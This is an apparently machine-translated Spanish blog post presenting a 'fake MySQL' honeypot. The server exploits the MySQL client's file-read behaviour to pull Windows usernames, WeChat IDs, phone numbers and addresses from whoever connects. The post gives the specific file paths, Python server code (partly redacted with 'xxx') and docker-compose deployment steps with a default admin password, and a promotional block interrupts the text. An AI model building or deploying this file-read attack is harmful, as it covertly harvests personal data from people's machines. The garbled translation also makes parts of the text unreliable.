Declaración relevante: el siguiente contenido solo se usa en campos profesionales como el ataque rojo y azul y la confrontación de defensa, no lo use con fines ilegales.
En primer lugar, hablemos sobre el concepto de honeypot. Simplemente puede entender que un honeypot es una trampa, que expone deliberadamente algunas de nuestras vulnerabilidades diseñadas artificialmente, lo que permite que los atacantes caigan en la trampa.
1. Introducción del tarro de miel
Honeypot es una tecnología de engaño para que los atacantes monitoreen, detecten, analicen y rastreen el comportamiento de ataque. No tiene ningún propósito comercial. Todo el tráfico que entra o sale de Honeypot indica un comportamiento de escaneo o ataque, por lo que puede ser mejor concentrarse en el tráfico de ataque.
Los Honeypots pueden atrapar activamente a los atacantes, registrar muchos rastros en el proceso de ataque del atacante en detalle y recopilar una gran cantidad de datos valiosos, como el código fuente de virus o gusanos, operaciones de piratas informáticos, etc., para proporcionar información valiosa. datos. Además, el honeypot también puede consumir el tiempo del atacante y obtener el retrato del atacante basado en JSONP y otros métodos.
Sin embargo, los honeypots presentan riesgos de seguridad y, si no se aíslan adecuadamente, pueden convertirse en nuevas fuentes de ataque.
Ejemplo, Mysql falso
Permítanme volver a mencionar el concepto de Fake Mysql: disfrazando el servidor Mysql, induciendo al atacante a conectarse y usando la vulnerabilidad para leer el archivo de la computadora del atacante, se obtiene el siguiente contenido.
3. Tecnología Honeypot para obtener número de teléfono móvil, ID de WeChat y dirección
Entonces, ¿cómo obtener el número de teléfono móvil del atacante y WeChat a través de esta tecnología?
La idea de adquisición normal.
Primero hablemos sobre el método normal de lectura del número de teléfono móvil y la ID de WeChat, que se divide en los siguientes tres pasos
- Obtenga el nombre de usuario de Windows a través de C:/Windows/PFRO.log
- Obtenga wxid a través de C:/Users/username/Documents/WeChat Files/All Users/config/config.data
- Obtenga la dirección, el ID de WeChat y el número de teléfono móvil a través de C:/Users/username/Documents/WeChat Files/wx_id/config/AccInfo.dat
obtener el nombre de usuario de Windows
Estamos aquí para probar en nuestra propia computadora, abra C:/Windows/PFRO.log, puede ver que mi nombre de usuario es66396
obtener wxid
Luego, visitamos C:/Users/ 66396 /Documents/WeChat Files/All Users/config/config.data
Aquí puedes obtener wxid
Obtener número de teléfono móvil, ID de WeChat, dirección
Puede ver el número de teléfono
También hay direcciones e ID de WeChat.
Lo anterior es la información que se puede obtener al ver los archivos en la computadora después de que el hacker invade, entonces, cómo diseñar un honeypot, para que el hacker pueda arrojarse a la red cuando ataca, y ayudar a nuestro defensor a rastrear la información del ¿agresor?
[→Sígueme para conocer todos los recursos y responder a "datos" por mensaje privado para obtener ←]
1. Ruta de aprendizaje de seguridad de redes
2. Libros electrónicos (sombrero blanco)
3. Video interno de una gran empresa de seguridad4,
100 documentos
, preguntas comunes de la entrevista de seguridad6
, análisis de los temas clásicos de la competencia ctf
7, un conjunto completo de herramientas
8, notas de respuesta de emergencia
Cuarto, el código central
¿Cómo automatizar el proceso anterior? Podemos ver que el código
debajo del código central tiene dos funciones principales
- Determine si se trata de un escáner o una herramienta de voladura de contraseñas y realice un apretón de manos interactivo, el efecto es que el escáner envía directamente la contraseña débil 3306.
- Si se trata de una conexión directa, lea el archivo establecido y escríbalo en el guardado local.
def mysql_get_file_content(filename,conn,address):
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("xxx")
try:
conn.recv(1024000)
except Exception as e:
print(e)
try:
conn.sendall("xx")
res1 = conn.recv(1024000)
# SHOW VARIABLES
if 'SHOW VARIABLES' in res1:
conn.sendall("xxx")
res2 = conn.recv(9999)
if 'SHOW WARNINGS' in res2:
conn.sendall("xxx")
res3 = conn.recv(9999)
if 'SHOW COLLATION' in res3:
conn.sendall("xxx")
res4 = conn.recv(9999)
if 'SET NAMES utf8' in res4:
conn.sendall("xxx")
res5 = conn.recv(9999)
if 'SET character_set_results=NULL' in res5:
conn.sendall("xxx")
conn.close()
else:
conn.close()
else:
conn.close()
else:
conn.close()
else:
try:
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content=''
while True:
data = conn.recv(1024)
print len(data)
content += data
if len(data) < 1024:
print 'ok'
break
conn.close()
item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
if len(content) > 6:
with open(item, "w") as f:
f.write(content)
f.close()
return (True,content)
else:
return (False,content)
except Exception as e:
print (e)
except Exception as e:
print (e)
Para evitar el contenido incompleto del archivo leído, while
se puede agregar un bucle.
while True:
conn, address = sv.accept()
first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
global files1
global username
global wx_id
file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
res,content = mysql_get_file_content(file,conn,address)
files1.append(files1[0])
files1.remove(files1[0])
if res:
if 'PFRO' in file:
username = get_username(content)
s= "xx" % (xx)
cursor.execute(s)
data = cursor.fetchall()
if len(data)==0:
s = "XX" % (xx)
cursor.execute(s)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
elif 'config.data'in file:
content = content
wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
wx_id=wxid
img = qrcode.make('weixin://contacts/profile/'+wxid)
img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
print 'success:'+ file
insert_file(file,address,username)
elif 'AccInfo' in file:
content = content
phone = re.findall(r'[0-9]{11}', content)[-1]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
else:
files1=files
username='Administrator'
Método de implementación
Necesitamos descargar la herramienta primero y pasarla al servidor
Luego modifique webServer.py
la contraseña del admin. Por supuesto, también puede cambiar el nombre de usuario, que se modifica según los hábitos personales.
Luego habilite el servicio a través de la ventana acoplable
Entonces ejecuta este proyecto
docker-compose up -d
Instrucciones
Los atacantes suelen encontrar algunas vulnerabilidades en nuestro sitio web. Usamos tecnología trampa aquí para exponer deliberadamente nuestra base de datos. Establecemos contraseñas débiles en nuestra base de datos para permitir que los atacantes se conecten.
Después de que el atacante use con éxito Navicat para conectarse a nuestra base de datos, podemos ejecutar el código y leer su número de teléfono móvil, ID de WeChat y dirección.
Y puede acceder al fondo en el puerto 5000, ingrese el administrador y la contraseña fancypig que acabamos de configurar
¡Entonces puedes ver la información del atacante! referencias